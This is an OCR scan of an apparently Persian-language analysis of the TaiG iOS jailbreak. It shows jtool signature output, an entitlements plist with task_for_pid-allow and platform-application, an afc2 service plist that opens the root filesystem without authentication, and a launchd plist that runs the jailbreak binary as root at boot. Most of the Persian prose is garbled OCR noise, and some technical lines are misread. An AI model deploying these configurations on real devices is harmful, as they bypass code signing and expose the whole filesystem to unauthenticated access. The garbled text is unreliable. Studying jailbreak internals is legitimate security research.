LC 17: LC_LDAD_DYLIB fSystem/Library/Frameworks/Foundation. framework/Foundation
LC 18: LC_LOAD_DYLIB Jusr/lib/libobjc.A.dylib
LC 19: LC_LOAD_DYLIB Jusr/lib/1ibSystem.B.dylib
LC 28: LC_LOAD_DYLIB fSystem/Library/Frameworks/CoreFoundation. framework/CoreFoundation
LC 21: LC_RPATH @executable_path/Frameworks
LC 22: LC_FUNCTIOM_STARTS 0ffset: 1084648, Size: 344 (Bx198cP-Bx19a18) with 217 functions
LC 23: LC DATA IN CODE Offset: 1@4084, Size: @ (Px19318-Bx109al8)
LC 24: LC_DYLIB_CODE_SIGN_DRS Offset: 1B4984, Size: BB (@x1%9alB-Bx1%a7@)
LC 25: LC_CODE_SIGMATURE Offset: 112416, Size: 1104 (Bx1b720-8x1bb7a)

Mahyars-Mac:Desktop mahyarrezghis I
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53 i [ e 5 ol 0383 s B () itsSo pllel oo o8 3,5 aalie 35 g2y BB (] S 3 o5 (oode
e 2 o el 5l 4 ey JEOO Lawgs ool jemms S L L g Cancs )5 )0 (gl I5mme Lol Il 03xn0 SsiDeViCE
mahyarrezghi@Mahyars-Mac (~/Documents/iOS/JB/TaiG) % JCOLOR=1 jtool -arch armv8 --sig -v --ent taig
Blob at offset: 112416 (1104 bytes) is an embedded signature of 1089 bytes, and 3 blobs
Blob 0: Type: 0 @36: Code Directory (709 bytes)
Version: 20001
Flags: none (0x0)
Identifier: taig
CDHash: 09059af87d64372658826d73e419d42383e2cd75
# of Hashes: 28 code + 5 special
Hashes @149 size: 20 Type: SHA-1

Entitlements blob: 3b3feeeb6676ch7bcd61e03436a8a39742feb44c (OK)

Application Specific: Not Bound
Resource Directory: Not Bound
Requirements blob: 3a75f6db058529148e14dd7ealb4729cc09ec973 (OK)

Bound Info.plist:  Not Bound
Slot 0 (File page @0x0000): b00b96b29f6a86c3bf2538d5b94c5d5a9ee0429¢e (OK)

Slot 1 (File page @0x1000): 1ceaf73df40e531df3bfb26b4fb7cd95fb7bffld (OK)
po,S i |, Ll oS o aolls gl o aed 4 dings ol 2 lls lo sl olod #
Slot 27 (File page @0x1b000): bf05426e9267734564f1e8bcd752885fd6182b05 (OK)

Blob 1: Type: 2 @745: Empty requirement set

Blob 2: Type: 5 @757: Entitlements (332 bytes)

<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>platform-application</key>
<true/>
<key>get-task-allow</key>
<true/>

<key>task_for_pid-allow</key>
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<true/>
</dict>
</plist>
#

# Normally, there'd be a (potentially empty) CMS (RFC3852) signature blob here. This confuses codesign

Superblob ends @36

b plo b o oles @
Sl ool plo taig awbs b L6 @
Xcode ;5 pizen 5 digdue oolitwl bl lawgs sads atigi o Ll gl o Lasl g5 () cewsad hoc JSo 4y L6 slasl @
(3,08 099 @d hOC &y a1 o sl 0,5 b sy TN
Gl b T 50 v 0,5 Slos el o> o5 el entitlement Jols L6 o) @
<key>get-task-allow</key>

<true/>

43,5 AMFLKext lawg L acge 5l (i o Ll ol ol a5 el cpl ail oo (ol wb L L ol 4l o o yiege
3l Lyl Ol yeis sl 2l Ko Jole pis g Ogudun 0,3 15,5 abadl> o ul SIUL o aS Ll entitlement .| £99 g Og
oS oolainl 0aitd cple slo oS Sl eolatwl el dlen muslgie dz yo

oSbosw 5l )15 a5 6uS o gsl> ole Sl 0 aSTy> pane | WShocw P i) aaseie (ol & (e :platform-application
39 e Jole gt sl anliy 5l (S BB ol a5 wiSe pllel amfid & Lo aaseie ol b Lol yogie 48,5 amfid Lawgs 595 1,2
D005 ol 1t (gl (Mo azs

Lo a a8 aiea b 4l 0,5 Slos sl bl Lol sla g 5l sasu gnws 90 ol task_for_pid_allow , get-task-allow

Sipase |y Gy 550 bawgd (gl awgy o (51350 o5l

el S8 ol 4y a8l oo Blasl &S Gl 00l |yl walsee B cpl aS Sy yo &8ly 4o

—

Sgie |yl dals

Il 00l (b, 8,90 BB 155 000 ooi |y 4wy AMFLkext Y

4ol 5l (SO opl 450 1 Ke azel el oo &S ol U L g s Ad HOC g4 51 als  sliaal oo AMFLKEXE a5 235 Y
S0 ,LSG a5 walgee HOST_AMFID_PORT g ne jgimws 5l oolixwl L amfid 51 L <ol App Store o suis o sla
aS Sy b

addre JEH ) gtws g 9iSee 1>l 5T launchd ,osb eois |2 590 amfid 31 F
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Lo a5 090 b1 bawgs LB al> e ,0 b opl ol ansls bl 4 51,08 ,>1 1, libmis.dylib 16 amfid-imwit .0
ADIo ‘) J;U 61.»4.@‘ 054. QJL..; )5.‘2«;») = !oy ol uJ)ilD
D9 Lyl gy g yiwd el b Lo b1 a5 daus o)l o JWS L o2 AMFLKext .5

I, injecting the jailbreak program pliy a5 cusl 285 ol g Sgiae [,>11AIG =S &y 4 040 >l dalssee J6 cplaS Jgl )L
S oanlie 4ol (59,

Sasgh B TAIG cated 1,25 Gubo 0SS |2l Sl 5l s g (s Sygo 0 |y jeiws opl (lsie b 4 i s LS Jlasa
’L’;’l} s.))yodagj O}w aslw a)b.jo JJ[S u.s‘laéw u.,&b)&u‘,b}w l).’>| o)bjb wujowmo&u&b 65))LSAAAQ(MASM

\.\9.9..::..,.4,ww);;lQ)M)@)WB.M,;L«&o|¢gbawlﬁ|¢.@sshwaﬁwﬁowyyéy}?oo&wow)o
e 35290 1 sy 90 o0 (S b oS

.5¢iue lockdown_patch.dmg ;taig ol g0 Jels a5 /taig juls fos oS Jols o coai dwg

Mahyars-iPhone:~ root# Is -IR /DeveloperPatch
/DeveloperPatch:

total 0

drwxrwxrwx 4 mobile staff 136 Oct 12 20:55 Library

drwxrwxrwx 4 mobile staff 136 Oct 21 00:19 bin

/DeveloperPatch/Library:
total 0

drwxrwxrwx 4 mobile staff 136 Nov 27 2013 Lockdown

/DeveloperPatch/Library/Lockdown:
total 0

drwxrwxrwx 4 mobile staff 136 Oct 21 19:54 ServiceAgents

/DeveloperPatch/Library/Lockdown/ServiceAgents:
total 4

-rwxrwxrwx 1 mobile staff 179 Oct 21 19:54 com.apple.afc2.plist
/DeveloperPatch/bin:

total 28

-rwxrwxrwx 1 mobile staff 24928 Oct 12 23:36 afcd2
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.com.apple.afc2.plist L1 b gime

<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>AllowUnauthenticatedServices</key>
<true/>
<key>Label</key>
<string>com.apple.afc2</string>
<key>ProgramArguments</key>
<array>
<string>/DeveloperPatch/bin/afcd2</string>
<string>--lockdown</string>
<string>-d</string>
<string>/</string>
</array>
</dict>

‘piSes sl launchd ,s com.taig.untether.plist L sgive |2l olfiws fyais S ,b ,o 0 Lo Ll a5 wugd (yielae a5l sl

<?xml version="1.0" encoding="UTF-8"?>

<IDOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<dict>
<key>Label</key>
<string>com.taig.untether</string>
<key>LaunchOnlyOnce</key>
<true/>
<key>POSIXSpawnType</key>
<string>Interactive</string>
<key>ProgramArguments</key>
<array>

<string>/taig/taig</string>
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</dict>

</plist>

</array>
<key>RunAtLoad</key>
<true/>
<key>UserName</key>

<string>root</string>

Loy Sazme (s (589, 5l e 9 Sgeine 00l olKiwd a4 o &kl (5, Hgiws 4S5 el Taw) pledl 4 Cdibge b Sl IS G5
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